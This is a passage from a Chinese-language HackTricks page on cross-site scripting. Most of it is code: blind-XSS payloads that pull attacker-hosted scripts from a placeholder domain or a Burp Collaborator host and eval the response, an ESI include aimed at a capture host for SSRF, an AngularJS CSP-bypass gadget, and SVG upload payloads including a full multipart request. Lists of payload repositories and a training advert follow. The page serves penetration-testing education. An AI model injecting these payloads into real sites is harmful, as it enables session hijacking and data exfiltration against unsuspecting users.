<a class="content_ref" href="shadow-dom.md"><span class="content_ref_label">Shadow DOM</span></a>
### 多语言混合
<a class="content_ref" href="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt"><span class="content_ref_label">Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub</span></a>
### 盲XSS有效载荷
您还可以使用: [https://xsshunter.com/](https://xsshunter.com)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>
```markup
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - 访问隐藏内容
从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值从 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如,REGEX 的输入仍然可以在正则表达式的输入值被移除后找到:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### 暴力破解列表
<a class="content_ref" href="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt"><span class="content_ref_label">Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub</span></a>
## XSS 利用其他漏洞
### Markdown 中的 XSS
可以注入将被渲染的 Markdown 代码吗?也许你可以获得 XSS!检查:
<a class="content_ref" href="xss-in-markdown.md"><span class="content_ref_label">XSS in Markdown</span></a>
### XSS 到 SSRF
在一个 **使用缓存的站点** 上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">python</span></div>
```python
<esi:include src="http://yoursite.com/capture" />
```
利用它来绕过 cookie 限制、XSS 过滤器等更多内容!\
有关此技术的更多信息,请查看:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
### 动态创建 PDF 中的 XSS
如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人** 使其 **执行任意 JS 代码**。\
因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。
<a class="content_ref" href="server-side-xss-dynamic-pdf.md"><span class="content_ref_label">Server Side XSS (Dynamic PDF)</span></a>
如果您无法注入 HTML 标签,尝试 **注入 PDF 数据** 可能是值得的:
<a class="content_ref" href="pdf-injection.md"><span class="content_ref_label">PDF Injection</span></a>
### Amp4Email 中的 XSS
AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaScript,以确保功能性,同时强调速度和安全性。它支持多种组件以实现各种功能,您可以通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
### XSS 上传文件 (svg)
将以下文件作为图像上传(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
```
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>
```markup
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>
```markup
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
```
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">svg</span></div>
```svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
```
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>
```html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
```
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">xml</span></div>
```xml
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
```
找到 **更多 SVG 载荷在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## 其他 JS 技巧与相关信息
<a class="content_ref" href="other-js-tricks.md"><span class="content_ref_label">Misc JS Tricks & Relevant Info</span></a>
## XSS 资源
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<div class="mdbook-alerts mdbook-alerts-tip">
<p class="mdbook-alerts-title">
<span class="mdbook-alerts-icon"></span>
tip
</p>
学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
<details>
<summary>支持 HackTricks</summary>
- 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
- **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
</div>